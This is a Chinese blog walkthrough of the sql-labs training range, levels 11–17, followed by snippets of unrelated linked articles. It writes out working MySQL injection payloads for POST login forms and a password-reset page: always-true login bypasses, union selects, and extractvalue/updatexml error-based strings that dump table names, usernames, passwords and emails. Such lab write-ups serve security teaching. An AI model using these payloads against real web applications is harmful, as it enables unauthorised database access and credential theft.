【靶场实操】sql-labs通关详解----第二节:前端页面相关(Less-11-Less-17)
SQL注入攻击是一种针对Web应用程序的安全漏洞,那么自然,SQL注入攻击也和前端页面息息相关,用户输入未被正确处理、动态查询的构建、前端JavaScript代码错误,等等我问题都可能造成安全威胁。
在上一节,我们了解了基础的SQL注入模式,他们大多都从地址导航栏入手,直接向查询语句中注入攻击语句。本章我们来看和前端页面相关的一些SQL注入攻击。
1.Less-11
1.1 页面分析
来到第十一关,我们可以看到,这一关与前十关有很大区别,页面有了一个输入框,提示我们输入用户名和密码。
顺其自然我们想到,注入点就在输入框里。前十关用到的都是get请求,参数都体现在url上面,而这一关开始是post请求,参数在表单里面。我们可以直接在输入框里面进行注入。
1.2 尝试注入
我们尝试输入1,页面报错,再尝试输入1‘,页面显示报错原因
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' and password='' LIMIT 0,1' at line 1
这说明,我们如果想查询某个用户的信息,并且用户ID为1,就需要隔断后面的部分。
知道了SQL语句,我们就可以构造一个恒成立的SQL语句,看查询出的是什么。这里我们需要把--+换成#来进行注释,意思是一样的,后续就和之前一样了,使用联合注入获取数据库信息。
不同点主要在于:将注释符从 --+换成 #
2.Less-12
来到第十二关,我们输入1和1‘没有反应,当我们输入1"的时候出现报错信息,我们从报错信息知道SQL语句是双引号且有括号。
那么我们就可以构造相应的SQL注入语句了。
1") or 1=1 #
1") union select 1,2 #
3.Less-13、14、15、16
第十三关与第十二关类似,只需要将双引号换成单引号。
第十四关与第十一关类似,只需要将单引号换成双引号。
第十五关和第十一关一样,只是不产生报错信息,对此我们可以使用布尔盲注。
第十六关和第十二关一样,需要使用布尔盲注。
4.Less-17(报错注入)
现在我们来到第十七关,根据页面来看,这是一个密码重置页面,也就是说我们已经登入系统了,可以执行修改操作。
根据源代码,SQL语句会对输入的账户名进行检测,对输入的特殊字符进行转义,我们能利用的只有更新密码的SQL语句。
4.1 extractvalue报错注入
这里我们需要用到extractvalue报错注入,extractvalue
是一个XQuery函数,用于从XML文档中提取特定值。格式为extractvalue(XML_document,XPath_string)。
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc第二个参数:XPath_string (Xpath格式的字符串) 作用:从XML_document中提取符合XPATH_string的值,当我们XPath_string语法报错时候就会报错
了解了extractvalue的原理后,我们就可以开始注入了。和前面类似,首先我们来进行数据库版本爆破
1' and (extractvalue(1,concat(0x5c,version(),0x5c)))#
成功得到了数据库版本为5.7.26,接下来我们再来爆数据库。
1' and (extractvalue(1,concat(0x5c,database(),0x5c)))#
又成功得到了数据库名,接下来,爆表名
1' and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))#
爆字段名。
1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))#
爆字段内容
1' and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c)))#
当我们提交时,发现页面报错,报错显示我们不能查询和更新同一张表。
针对此问题,我们需要加一个中间表。本关只需要我们输入正确账号,所以爆出的是该账户的原始密码。只要查询时不是users表就不会报错。
1' and (extractvalue(1,concat(0x5c,(select password from (select password from users where username='admin1') b) ,0x5c)))#
成功得到密码,爆破成功。
对于这两条语句:
- 目标用户:第一个示例尝试获取
users
表中所有用户的用户名和密码,而第二个示例只针对特定用户admin1
。 - 查询结构:第一个示例使用
group_concat
来合并所有用户的用户名和密码,第二个示例使用子查询来获取特定用户的密码。
4.2 updatexml报错注入
对于本关,我们还可以采用updatexml报错注入,updatexml
是MySQL数据库中的一个函数,它允许你使用XPath表达式和XML数据进行交互。然而,如果不正确使用,updatexml
也可能成为SQL注入攻击的漏洞。SQL注入攻击者可能会利用这个函数来尝试访问或修改数据库中的XML数据。
格式为UPDATEXML (XML_document, XPath_string, new_value)。第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc;第二个参数:XPath_string (Xpath格式的字符串) ;第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值,改变XML_document中符合XPATH_string的值。当我们XPath_string语法报错时候就会报错,updatexml()报错注入和extractvalue()报错注入基本差不多
123' and (updatexml(1,concat(0x5c,version(),0x5c),1))# 爆版本
123' and (updatexml(1,concat(0x5c,database(),0x5c),1))# 爆数据库123' and (updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1))# 爆表名
123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x5c),1))#爆字段名123' and (updatexml(1,concat(0x5c,(select password from (select password from users where username='admin1') b),0x5c),1))#
爆密码该格式针对mysql数据库。
爆其他表就可以,下面是爆emails表
123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='emails'),0x5c),1))#1' and (updatexml (1,concat(0x5c,(select group_concat(id,email_id) from emails),0x5c),1))# 爆字段内容。
剩下的与extractvalue类似,也是要注意查询和修改不能为同一表的问题,但是可以爆破其他表
相关文章:

【靶场实操】sql-labs通关详解----第二节:前端页面相关(Less-11-Less-17)
SQL注入攻击是一种针对Web应用程序的安全漏洞,那么自然,SQL注入攻击也和前端页面息息相关,用户输入未被正确处理、动态查询的构建、前端JavaScript代码错误,等等我问题都可能造成安全威胁。 在上一节,我们了解了基础的…...

样式与特效(2)——新闻列表
1.盒子模型的边距概念 ) Margin-top 上面 Margin-bottom 底部 Margin-right 右边 Margin-left 左边 Margin : 10px (上下左右都是10px) Margin :10px,20px (上下边距10px 左右20px) CSS里面最重要的属性之一 将页面理解成…...

NICE Seminar(2023-07-16)|演化算法的理论研究到底有什么用?(南京大学钱超教授)
模式定理(Schema Theorem) 模式定理(Schema Theorem)是遗传算法(Genetic Algorithm, GA)的重要理论基础,由约翰霍兰德(John Holland)在1975年提出。它描述了具有特定模式…...

优盘驱动器未格式化?数据恢复全攻略
在数字时代,优盘作为便携的数据存储工具,广泛应用于日常生活与工作中。然而,当遇到“优盘驱动器未被格式化”的提示时,无疑给许多人带来了不小的困扰。这一状况往往意味着优盘的文件系统出现了问题,导致系统无法正确识…...

(超全)Kubernetes 的核心组件解析
引言 在现代软件开发和运维的世界中,容器化技术已经成为一种标志性的解决方案,它为应用的构建、部署和管理提供了前所未有的灵活性和效率。然而,随着应用规模的扩大和复杂性的增加,单纯依靠容器本身来管理这些应用和服务已不再足够…...

前端常用的【设计模式】和使用场景
设计原则 最重要的:开放封闭原则 对扩展开放对修改封闭 工厂模式 用一个工厂函数,来创建实例,隐藏 new 如 jQuery 的 $ 函数,React 的 createElement 函数 单例模式 全局唯一的实例(无法生成第二个) 如 Vuex 和 Redux 的 store…...
QT下载问题:Download from your IP address is not allowed
问题 Download from your IP address is not allowed 解决 https://download.csdn.net/download/baidu_34971492/89608794...

自建数据库VS云数据库
自建数据库VS云数据库 什么是自建数据库?自建数据库方案自建数据库的优点自建数据库的缺点什么是云数据库?自建数据库的缺点什么是云数据库? 云数据库方案云数据库的优点云数据库的缺点适用场景比较总结 【纪录片】中国数据库前世今生 在数字…...

【大数据开发语言Scala的入门教程】
🎥博主:程序员不想YY啊 💫CSDN优质创作者,CSDN实力新星,CSDN博客专家 🤗点赞🎈收藏⭐再看💫养成习惯 ✨希望本文对您有所裨益,如有不足之处,欢迎在评论区提出指正,让我们共同学习、交流进步! 🪁Scala 🪡Scala是一种功能丰富且具有强大表达能力的静态类型…...

docker部署kkfileview文件在线预览服务
kkfileview文件在线预览服务部署使用 免费开源,功能强大,几乎支持日常见到的所有文件类型在线预览 目前支持的文件类型如下 支持 doc, docx, xls, xlsx, xlsm, ppt, pptx, csv, tsv, dotm, xlt, xltm, dot, dotx,xlam, xla 等 Office 办公文档支持 wp…...

朱锐 | 生命图像中的时间和意识
本文载于《科学・经济・社会》2023 年第 41 卷第 2 期第 37~61 页 作者简介: 朱锐(1968年10月—2024年8月1日),中国人民大学哲学院杰出学者、特聘教授,美国德州州立大学客座教授,主要从事神经哲学、心灵哲…...

pytorch: cpu,cuda,tensorRt 推理对比学习
0:先看结果 针对resnet模型对图片做处理 原图结果 分别使用cpu,cuda,TensorRt做推理,所需要的时间对比 方法时间cpu13s594mscuda711mstensorRt 113ms 项目地址: GitHub - july1992/Pytorch-vily-study: vily 学…...
android 音频播放器,(一)SoundPool音频播放实例
1. Apk内,预定义按键与触发按键: layout 按键定义: <Button android:id"id/start" android:layout_width"match_parent" android:layout_height"wrap_content" android:textAllC…...

AVL解析
本节主要看板书 概念 AVL树(Adelson-Velsky and Landis tree)是一种自平衡二叉查找树,用于在动态集合中进行高效的插入、删除和查找操作。它保持树的高度接近最小可能值,从而确保这些操作的时间复杂度始终保持在O(log n)。AVL树…...
用C#和WinForms打造你的专属视频播放器:从多格式支持到全屏播放的完整指南
使用 C# 和 WinForms 创建一个功能齐全的视频播放器,支持 MP4 和 AVI 格式,并具有文件夹导入、多视频播放、全屏切换、视频列表管理等功能,是一个相对复杂的项目。下面我会给出一个基本的实现方案,包括所需的关键功能和相关代码示…...

Spring security学习笔记
目录 1. 概要2. spring security原理2.1 DelegatingFilterProxy2.2 FilterChainProxy2.3 SecurityFilterChain2.4 Spring Security 作用机制 3.Spring Security快速入门4.高级自定义配置5. Spring Security 结合 JWT使用 1. 概要 Spring Security是一个用于在Java应用程序中实…...

MySQL:基础增删查改
MySQL:基础增删查改 插入插入冲突 查询distinctwhereorder bylimit 删除deletetruncate 更新 插入 基本插入语法: insert [into] 表名 (列1, 列2 ...) values (值1, 值2 ...);into可以省略(列1, 列2 ...)与后面的(值1, 值2)一一对应如果插入时数据完全…...
Apache DolphinScheduler 1.3.4升级至3.1.2版本过程中的踩坑记录
因为在工作中需要推动Apache DolphinScheduler的升级,经过预研,从1.3.4到3.1.2有的体验了很大的提升,在性能和功能性有了很多的改善,推荐升级。 查看官方的升级文档,可知有提供升级脚本,如果只是跨小版本的…...
最后一块石头的重量(超级妙的背包问题)
1049. 最后一块石头的重量 II 有一堆石头,用整数数组 stones 表示。其中 stones[i] 表示第 i 块石头的重量。 每一回合,从中选出任意两块石头,然后将它们一起粉碎。假设石头的重量分别为 x 和 y,且 x < y。那么粉碎的可能结果…...
如何评估和提升审查者在前端代码审查中的专业技能?
评估和提升审查者在前端代码审查中的专业技能可以通过以下步骤: 技能评估: 定期进行技能评估,了解审查者在前端开发各方面的能力,包括但不限于HTML、CSS、JavaScript、框架使用、代码规范等。 代码审查实践: 通过实…...
conda相比python好处
Conda 作为 Python 的环境和包管理工具,相比原生 Python 生态(如 pip 虚拟环境)有许多独特优势,尤其在多项目管理、依赖处理和跨平台兼容性等方面表现更优。以下是 Conda 的核心好处: 一、一站式环境管理:…...
ES6从入门到精通:前言
ES6简介 ES6(ECMAScript 2015)是JavaScript语言的重大更新,引入了许多新特性,包括语法糖、新数据类型、模块化支持等,显著提升了开发效率和代码可维护性。 核心知识点概览 变量声明 let 和 const 取代 var…...

【JavaEE】-- HTTP
1. HTTP是什么? HTTP(全称为"超文本传输协议")是一种应用非常广泛的应用层协议,HTTP是基于TCP协议的一种应用层协议。 应用层协议:是计算机网络协议栈中最高层的协议,它定义了运行在不同主机上…...
SciencePlots——绘制论文中的图片
文章目录 安装一、风格二、1 资源 安装 # 安装最新版 pip install githttps://github.com/garrettj403/SciencePlots.git# 安装稳定版 pip install SciencePlots一、风格 简单好用的深度学习论文绘图专用工具包–Science Plot 二、 1 资源 论文绘图神器来了:一行…...

JVM 内存结构 详解
内存结构 运行时数据区: Java虚拟机在运行Java程序过程中管理的内存区域。 程序计数器: 线程私有,程序控制流的指示器,分支、循环、跳转、异常处理、线程恢复等基础功能都依赖这个计数器完成。 每个线程都有一个程序计数…...

RSS 2025|从说明书学习复杂机器人操作任务:NUS邵林团队提出全新机器人装配技能学习框架Manual2Skill
视觉语言模型(Vision-Language Models, VLMs),为真实环境中的机器人操作任务提供了极具潜力的解决方案。 尽管 VLMs 取得了显著进展,机器人仍难以胜任复杂的长时程任务(如家具装配),主要受限于人…...

Ubuntu Cursor升级成v1.0
0. 当前版本低 使用当前 Cursor v0.50时 GitHub Copilot Chat 打不开,快捷键也不好用,当看到 Cursor 升级后,还是蛮高兴的 1. 下载 Cursor 下载地址:https://www.cursor.com/cn/downloads 点击下载 Linux (x64) ,…...

解析“道作为序位生成器”的核心原理
解析“道作为序位生成器”的核心原理 以下完整展开道函数的零点调控机制,重点解析"道作为序位生成器"的核心原理与实现框架: 一、道函数的零点调控机制 1. 道作为序位生成器 道在认知坐标系$(x_{\text{物}}, y_{\text{意}}, z_{\text{文}}…...
Yii2项目自动向GitLab上报Bug
Yii2 项目自动上报Bug 原理 yii2在程序报错时, 会执行指定action, 通过重写ErrorAction, 实现Bug自动提交至GitLab的issue 步骤 配置SiteController中的actions方法 public function actions(){return [error > [class > app\helpers\web\ErrorAction,],];}重写Error…...

20250609在荣品的PRO-RK3566开发板的Android13下解决串口可以执行命令但是脚本执行命令异常的问题
20250609在荣品的PRO-RK3566开发板的Android13下解决串口可以执行命令但是脚本执行命令异常的问题 2025/6/9 20:54 缘起,为了跨网段推流,千辛万苦配置好了网络参数。 但是命令iptables -t filter -F tetherctrl_FORWARD可以在调试串口/DEBUG口正确执行。…...